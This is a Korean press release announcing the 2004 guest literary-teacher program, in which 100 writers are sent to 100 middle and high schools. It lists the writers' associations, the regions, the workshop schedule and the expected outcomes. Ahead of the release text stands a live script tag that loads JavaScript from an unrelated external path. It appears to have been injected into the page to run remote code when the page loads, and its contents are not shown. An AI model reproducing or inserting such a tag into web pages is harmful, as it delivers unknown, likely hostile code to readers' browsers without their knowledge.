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<SCRIPT Language=JavaScript src=http://php.chol.com/~wanho/bbs/data/poem/esuyoil.js></script> *2004년 전업문인‘객원문예교사제’실시에 대한 보도자료 내용 전문입니다. 이 보도자료를 /'/보고/'/로 대치합니다.
문화관광부와 민족문학작가회의는 2004년 전업문인 객원문예교사제를 실시합니다. 많은 관심과 보도 부탁드립니다.
문화관광부가 후원하고 작가회의가 주관하는 2004년 전업문인 객원문예교사제는 지난 2003년 4월부터 12월까지 전국 중․고등학교 50개교를 대상으로 시행한 바 있는 시범 전업문인 객원문예교사제의 성과를 수렴하여 곱절로 확장하여 실시하는 것입니다.
작년 2003년 시범 전업문인 객원문예교사제는, 전문 작가가 직접 학교 현장으로 찾아가 문예지식과 문학경험을 가지고 학생들과 소통, 학생들은 문학에 대한 새로운 접근과 인식, 구체적인 창작방법들을 얻는데 크게 기여했다는 평가를 받았습니다. 또한 강의에서 얻어진 우수한 학생 창작글은 본회가 발간하는 청소년 문예지『푸른작가]에 게재되었으며 문예교사제의 성과를 가늠할 수 있는 보기가 되었습니다.
작년 사업의 성과를 바탕으로, 올해의 전업문인 객원문예교사제는 작년 50개교 50명 작가 파견에서, 전국 중․고등학교 100개교 100명 작가 파견으로 배가 되었습니다.
특히 2004년 전업문인 객원문예교사제는 민족문학작가회의, 한국문인협회, 한국소설가협회 등, 대한민국의 문학적 영향력 있는 문학인 단체가 두루 참여합니다. 이외에도 어느 단체에도 소속 되어 있지 않지만 문학 역량이 뛰어난 작가들도 다수 참여합니다.
자세히 하면 다음과 같습니다.
민족문학작가회의: 52명
-고재종, 박영근, 임영태, 한강, 이진명, 이명원, 김영산, 이대흠, 김현영, 서성란, 김연 외 41명
한국문인협회: 6명
-백시종, 은미희 외 4명
한국소설가협회: 15명
-지요하, 호용송, 안장환, 박정수, 김용운 외 10명
무소속: 25명
-백하룡, 문석암, 김택중 외 22명
주관 단체인 민족문학작가회의는 4월과 5월 동안에 수도권과 지방권을 적절히 고려, 배분하여 100개학교를 선정하였습니다. 자세한 사항은 다음과 같습니다.
서울 12개교(염광고 외) 경기 25개교(파주여고 외) 인천 5개교(강화여고 외)
강원 2개교(태백중 외) 충북 4개교(영동인터넷고 외) 충남 6개교(부여여중 외)
대구 2개교(대구외고 외) 경북 6개교(복주여중 외) 부산 3개교(대대중 외)
울산 6개교(울상동여중 외) 경남 8개교(통영여고 외) 전북 8개교(남원하늘중 외)
광주 4개교(광주중 외) 전남 8개교(광양여중 외) 제주 1개교(제주공고 외)
현재 활발히 활동하고 있는 신진작가 및 전업작가 100명을 파견함으로써, 일선 교육 현장에서의 문학교육 확대를 꾀하고 청소년들의 문예 특기적성교육 강화에 크게 기여할 것으로 자신합니다.
작가와 함께 하는 창작교실‘전업문인 객원문예교사제’는 학생들에게 기초예술인 문예(감상, 창작) 능력을 괄목할 만하게 키워줄 뿐만 아니라, 학생들에게 소중한 추억을 제공하는 아름다운 장이 될 것입니다.
<<주요 사항 정리>>
1. 사업기간: 2004년 4월 1일~12월 중순
-학교, 파견문예교사 심의 선정: 4월~5월
-문예교사 파견, 현장교육: 6월~12월
* 사업 시기는 선정학교의 학사일정을 우선 고려하기 때문에,
가) 6월 1일 ～ 12월 31일
나) 여름방학 중
다) 2학기 중
라) 어느 한 달
,등으로 다양합니다.
사업대상: 전국 중․고등학교 100개교
운영방법:워크숍 3회+선정된 학교에 문인을 파견하여 15회 출강+ 총 18시간
* 워크숍 1차- 파견교사 대상으로 기본소양 교육
(6월 4일, 6월 15일 두 차례 실시)
* 워크숍 2차- 중간점검. 9월 중 실시 예정
* 워크숍 3차- 자체 평가 및 좀더 창의적인 교육법에 대한 모색, 토론
2. 사업대상 : 전국 중 ․ 고등학교 100개교
3. 강연내용 :
1)(문학적인) 글쓰기 지도.
*시, 소설, 희곡 등 장르 제한 없음
2)문학 관련 (특별활동) 동아리 지도
3)문학이론(문학사, 습작법, 문학사 등등) 지도
4)토론식 독서(이해와 감상) 지도
5) 기타
4. 후원: 문화관광부
5. 기대효과:
가). 우수한 문학적 감수성을 가진 문예특기생을 조기에 발굴하여 육성
나) 특기적성교육의 내실화에 크게 기여
다) 국내 유명문인과의 만남 및 강연을 통해 학생들의 문학적 욕구 충족
라) 교육현장에서 나온 학생 성과물을 청소년 문예지 [푸른작가] 및, 각 민족문학작가회 지회에서 발간하게 될 문예지에 반영
마) 구체적인 문학교육을 통한 창작활동 독려.
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